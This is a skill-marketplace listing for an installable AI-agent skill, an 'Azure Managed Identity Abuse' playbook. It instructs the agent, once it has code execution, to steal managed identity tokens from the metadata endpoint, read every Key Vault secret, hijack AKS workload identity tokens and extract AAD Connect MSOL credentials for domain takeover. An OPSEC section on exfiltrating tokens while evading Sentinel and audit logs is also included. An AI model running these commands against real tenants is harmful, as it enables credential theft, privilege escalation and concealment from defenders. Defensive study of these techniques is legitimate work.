# Azure Managed Identity

> Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM / App Service / Function, token exchange for Graph/ARM/KeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credential extraction.

- Skill: `purpleailab/azure-managed-identity` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/azure-managed-identity`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/azure-managed-identity/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/azure-managed-identity

---


# Azure Managed Identity Abuse

You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.

## Steal the token

### Linux VM / Container
```bash
TOKEN=$(curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token)
```

### Windows VM
```powershell
$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token
```

### App Service / Function (different endpoint, requires `IDENTITY_HEADER`)
```bash
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
  | jq -r .access_token)
```

## Common token audiences (`resource` param)

| Audience URL | Use |
|---|---|
| `https://management.azure.com/` | ARM — list/modify Azure resources |
| `https://graph.microsoft.com/` | Microsoft Graph — read directory, mail, groups |
| `https://vault.azure.net` | Key Vault — secrets, keys, certificates |
| `https://storage.azure.com/` | Storage account — blob/queue/file/table |
| `https://database.windows.net/` | Azure SQL |
| `https://servicebus.azure.net/` | Service Bus |

Request one token per audience — the MI assignment determines which work.

## Use the token

```bash
# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"

# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .
```

## Pivot patterns

| MI permission | Pivot to |
|---|---|
| Contributor on subscription | RunCommand on every VM in the sub → fleet-wide RCE |
| KeyVault Reader / Secrets User | Decrypt all stored credentials |
| User Access Administrator | Self-grant Owner role anywhere |
| AAD App Owner | Modify app registration → app-credential persistence |
| Storage Account Contributor | Steal storage keys → SAS tokens (low audit signature) |

## Workload Identity (federated, no client secret)

AKS pods using Workload Identity Federation get a token via projected SA token + STS exchange. Steal the projected token from `/var/run/secrets/azure/tokens/azure-identity-token`, then:

```bash
SATOKEN=$(cat /var/run/secrets/azure/tokens/azure-identity-token)
TOKEN=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
  -d "client_id=$CLIENT_ID&scope=https://management.azure.com/.default&grant_type=client_credentials&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=$SATOKEN" | jq -r .access_token)
```

## AAD Connect MSOL (hybrid environments)

On a server running AAD Connect, MSOL_xxxxxxx in local SAM has DCSync rights → full domain compromise. Steal via DPAPI:

```powershell
# Run as SYSTEM on AAD Connect server
$key = (New-Object System.Security.Cryptography.AesManaged).Key
# AADInternals does this end-to-end:
Get-AADIntSyncCredentials      # AADInternals — extracts MSOL creds
```

## OPSEC

- Azure Activity Log records every ARM call. Use Graph for low-noise enumeration.
- Token TTL ~24h. Re-stealing is logged via the IMDS access pattern (visible in Azure VM monitor).
- `IDENTITY_HEADER` env on App Service is process-scope — exfil it from a single trick command, then reuse.
- Defender for Cloud + Microsoft Sentinel detect: "ManagedIdentityToken used from non-Azure IP" → exfil tokens carefully.

## References

- MicroBurst (NetSPI), MicroBurst-Cloud (Karl Fosaaen) — Azure-specific tooling
- ROADtools (Dirk-jan) — AAD enumeration without alerts
- DEFCON 30 "Abusing Azure Active Directory" — Andy Robbins

